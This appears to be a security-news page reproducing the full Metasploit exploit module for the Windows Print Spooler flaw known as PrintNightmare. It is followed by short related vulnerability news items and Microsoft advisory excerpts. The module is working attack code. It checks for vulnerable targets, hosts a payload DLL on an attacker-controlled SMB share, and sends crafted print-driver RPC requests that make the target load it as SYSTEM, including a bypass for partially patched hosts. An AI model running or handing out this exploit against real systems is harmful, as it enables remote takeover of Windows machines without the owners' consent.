Headline
Print Spooler Remote DLL Injection
The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN vector which requires the Print Spooler service to be running.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'windows_error'require 'ruby_smb'require 'ruby_smb/error'class MetasploitModule < Msf::Exploit::Remote prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::SMB::Server::Share include Msf::Exploit::Retry include Msf::Exploit::EXE include Msf::Exploit::Deprecated moved_from 'auxiliary/admin/dcerpc/cve_2021_1675_printnightmare' PrintSystem = RubySMB::Dcerpc::PrintSystem def initialize(info = {}) super( update_info( info, 'Name' => 'Print Spooler Remote DLL Injection', 'Description' => %q{ The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN vector which requires the Print Spooler service to be running. }, 'Author' => [ 'Zhiniang Peng', # vulnerability discovery / research 'Xuefeng Li', # vulnerability discovery / research 'Zhipeng Huo', # vulnerability discovery 'Piotr Madej', # vulnerability discovery 'Zhang Yunhai', # vulnerability discovery 'cube0x0', # PoC 'Spencer McIntyre', # metasploit module 'Christophe De La Fuente', # metasploit module co-author ], 'License' => MSF_LICENSE, 'DefaultOptions' => { 'SRVHOST' => Rex::Socket.source_address }, 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ [ 'Windows', { 'Platform' => 'win', 'Arch' => [ ARCH_X64, ARCH_X86 ] }, ], ], 'DisclosureDate' => '2021-06-08', 'References' => [ ['CVE', '2021-1675'], ['CVE', '2021-34527'], ['URL', 'https://github.com/cube0x0/CVE-2021-1675'], ['URL', 'https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare'], ['URL', 'https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1'], ['URL', 'https://github.com/byt3bl33d3r/ItWasAllADream'] ], 'Notes' => { 'AKA' => [ 'PrintNightmare' ], 'Stability' => [CRASH_SERVICE_DOWN], 'Reliability' => [UNRELIABLE_SESSION], 'SideEffects' => [ ARTIFACTS_ON_DISK # the dll will be copied to the remote server ] } ) ) register_advanced_options( [ OptInt.new('ReconnectTimeout', [ true, 'The timeout in seconds for reconnecting to the named pipe', 10 ]) ] ) deregister_options('AutoCheck') end def check begin connect(backend: :ruby_smb) rescue Rex::ConnectionError return Exploit::CheckCode::Unknown('Failed to connect to the remote service.') end begin smb_login rescue Rex::Proto::SMB::Exceptions::LoginError return Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.') end begin dcerpc_bind_spoolss rescue RubySMB::Error::UnexpectedStatusCode => e nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND print_error("The 'Print Spooler' service is disabled.") end return Exploit::CheckCode::Safe("The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).") end @target_arch = dcerpc_getarch # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43 if @target_arch == ARCH_X64 @environment = 'Windows x64' elsif @target_arch == ARCH_X86 @environment = 'Windows NT x86' else return Exploit::CheckCode::Detected('Successfully bound to the remote service.') end print_status("Target environment: Windows v#{simple.client.os_version} (#{@target_arch})") print_status('Enumerating the installed printer drivers...') drivers = enum_printer_drivers(@environment) @driver_path = "#{drivers.driver_path.rpartition('\\').first}\\UNIDRV.DLL" vprint_status("Using driver path: #{@driver_path}") print_status('Retrieving the path of the printer driver directory...') @config_directory = get_printer_driver_directory(@environment) vprint_status("Using driver directory: #{@config_directory}") unless @config_directory.nil? container = driver_container( p_config_file: 'C:\\Windows\\System32\\kernel32.dll', p_data_file: "\\??\\UNC\\127.0.0.1\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll" ) case add_printer_driver_ex(container) when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.') when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.') when ::WindowsError::Win32::ERROR_BAD_NET_NAME return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.') when ::WindowsError::Win32::ERROR_ACCESS_DENIED return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.') end Exploit::CheckCode::Detected('Successfully bound to the remote service.') end def run fail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64 fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil? fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil? super end def setup if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') end super end def start_service file_name << '.dll' self.file_contents = generate_payload_dll super end def primer dll_path = unc if dll_path =~ /^\\\\([\w:.\[\]]+)\\(.*)$/ # targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass # otherwise the operation will fail with ERROR_INVALID_PARAMETER dll_path = "\\??\\UNC\\#{Regexp.last_match(1)}\\#{Regexp.last_match(2)}" end vprint_status("Using DLL path: #{dll_path}") filename = dll_path.rpartition('\\').last container = driver_container(p_config_file: 'C:\\Windows\\System32\\kernel32.dll', p_data_file: dll_path) 3.times do add_printer_driver_ex(container) end 1.upto(3) do |directory| container.driver_info.p_config_file.assign("#{@config_directory}\\3\\old\\#{directory}\\#{filename}") break if add_printer_driver_ex(container).nil? end cleanup_service end def driver_container(**kwargs) PrintSystem::DriverContainer.new( level: 2, tag: 2, driver_info: PrintSystem::DriverInfo2.new( c_version: 3, p_name_ref_id: 0x00020000, p_environment_ref_id: 0x00020004, p_driver_path_ref_id: 0x00020008, p_data_file_ref_id: 0x0002000c, p_config_file_ref_id: 0x00020010, # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913 p_name: "#{Rex::Text.rand_text_alpha_upper(2..4)} #{Rex::Text.rand_text_numeric(2..3)}", p_environment: @environment, p_driver_path: @driver_path, **kwargs ) ) end def dcerpc_bind_spoolss handle = dcerpc_handle(PrintSystem::UUID, '1.0', 'ncacn_np', ['\\spoolss']) vprint_status("Binding to #{handle} ...") dcerpc_bind(handle) vprint_status("Bound to #{handle} ...") end def enum_printer_drivers(environment) response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2) response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed) fail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length DriverInfo2.read(response.p_drivers.map(&:chr).join) end def get_printer_driver_directory(environment) response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2) response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed) fail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length RubySMB::Field::Stringz16.read(response.p_driver_directory.map(&:chr).join).encode('ASCII-8BIT') end def add_printer_driver_ex(container) flags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES begin response = rprn_call('RpcAddPrinterDriverEx', p_name: "\\\\#{datastore['RHOST']}", p_driver_container: container, dw_file_copy_flags: flags) rescue RubySMB::Error::UnexpectedStatusCode => e nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first message = "Error #{nt_status.name} (#{nt_status.description})" if nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN # STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected print_status('The named pipe connection was broken, reconnecting...') reconnected = retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do dcerpc_bind_spoolss rescue RubySMB::Error::CommunicationError, RubySMB::Error::UnexpectedStatusCode => e false else true end unless reconnected vprint_status('Failed to reconnect to the named pipe.') return nil end print_status('Successfully reconnected to the named pipe.') retry else print_error(message) end return nt_status end error = ::WindowsError::Win32.find_by_retval(response.error_status.value).first message = "RpcAddPrinterDriverEx response #{response.error_status}" message << " #{error.name} (#{error.description})" unless error.nil? vprint_status(message) error end def rprn_call(name, **kwargs) request = PrintSystem.const_get("#{name}Request").new(**kwargs) begin raw_response = dcerpc.call(request.opnum, request.to_binary_s) rescue Rex::Proto::DCERPC::Exceptions::Fault => e fail_with(Failure::UnexpectedReply, "The #{name} Print System RPC request failed (#{e.message}).") end PrintSystem.const_get("#{name}Response").read(raw_response) end class DriverInfo2Header < BinData::Record endian :little uint32 :c_version uint32 :name_offset uint32 :environment_offset uint32 :driver_path_offset uint32 :data_file_offset uint32 :config_file_offset end # this is a partial implementation that just parses the data, this is *not* the same struct as PrintSystem::DriverInfo2 # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030 DriverInfo2 = Struct.new(:header, :name, :environment, :driver_path, :data_file, :config_file) do def self.read(data) header = DriverInfo2Header.read(data) new( header, RubySMB::Field::Stringz16.read(data[header.name_offset..]).encode('ASCII-8BIT'), RubySMB::Field::Stringz16.read(data[header.environment_offset..]).encode('ASCII-8BIT'), RubySMB::Field::Stringz16.read(data[header.driver_path_offset..]).encode('ASCII-8BIT'), RubySMB::Field::Stringz16.read(data[header.data_file_offset..]).encode('ASCII-8BIT'), RubySMB::Field::Stringz16.read(data[header.config_file_offset..]).encode('ASCII-8BIT') ) end endend
Related news
gRPC contains a vulnerability that allows hpack table accounting errors could lead to unwanted disconnects between clients and servers in exceptional cases/ Three vectors were found that allow the following DOS attacks: - Unbounded memory buffering in the HPACK parser - Unbounded CPU consumption in the HPACK parser The unbounded CPU consumption is down to a copy that occurred per-input-block in the parser, and because that could be unbounded due to the memory copy bug we end up with an O(n^2) parsing loop, with n selected by the client. The unbounded memory buffering bugs: - The header size limit check was behind the string reading code, so we needed to first buffer up to a 4 gigabyte string before rejecting it as longer than 8 or 16kb. - HPACK varints have an encoding quirk whereby an infinite number of 0’s can be added at the start of an integer. gRPC’s hpack parser needed to read all of them before concluding a parse. - gRPC’s metadata overflow check was performed per frame, so ...
Canon Medical Informatics Vitrea Vision 7.7.76.1 does not adequately enforce access controls. An authenticated user is able to gain unauthorized access to imaging records by tampering with the vitrea-view/studies/search patientId parameter.
Several artifacts from recent attacks strongly suggest a connection between the two operations, researchers say.
A parsing vulnerability for the MessageSet type in the ProtocolBuffers versions prior to and including 3.16.1, 3.17.3, 3.18.2, 3.19.4, 3.20.1 and 3.21.5 for protobuf-cpp, and versions prior to and including 3.16.1, 3.17.3, 3.18.2, 3.19.4, 3.20.1 and 4.21.5 for protobuf-python can lead to out of memory failures. A specially crafted message with multiple key-value per elements creates parsing issues, and can lead to a Denial of Service against services receiving unsanitized input. We recommend upgrading to versions 3.18.3, 3.19.5, 3.20.2, 3.21.6 for protobuf-cpp and 3.18.3, 3.19.5, 3.20.2, 4.21.6 for protobuf-python. Versions for 3.16 and 3.17 are no longer updated.
PrinterLogic Windows Client through 25.0.0.676 allows attackers to execute directory traversal. Authenticated users with prior knowledge of the driver filename could exploit this to escalate privileges or distribute malicious content.
July's security update included fixes for one actively exploited flaw, more than 30 bugs in Azure Site Recovery, and four privilege escalation bugs in Windows Print Spooler.
Cybersecurity researchers have detailed the various measures ransomware actors have taken to obscure their true identity online as well as the hosting location of their web server infrastructure. "Most ransomware operators use hosting providers outside their country of origin (such as Sweden, Germany, and Singapore) to host their ransomware operations sites," Cisco Talos researcher Paul Eubanks
Kaspersky researchers discovered that cybercriminals made approximately 65,000 attacks between July 2021 and April 2022.
Kaspersky researchers discovered that cybercriminals made approximately 65,000 attacks between July 2021 and April 2022.
On Tuesday July 6, 2021, Microsoft issued CVE-2021-34527 regarding a Windows Print Spooler vulnerability. Updates were released on July 6 and 7 which addressed the vulnerability for all supported Windows versions. We encourage customers to update as soon as possible. CVE-2021-34527 - Windows Print Spooler Remote Code Execution Vulnerability. Following the out of band release (OOB) we investigated claims regarding the effectiveness of the security update and questions around the suggested mitigations.
Today Microsoft released an Out-of-Band (OOB) security update for CVE-2021-34527, which is being discussed externally as PrintNightmare. This is a cumulative update release, so it contains all previous security fixes and should be applied immediately to fully protect your systems. The fix that we released today fully addresses the public vulnerability, and it also includes a new feature that allows customers to implement stronger protections.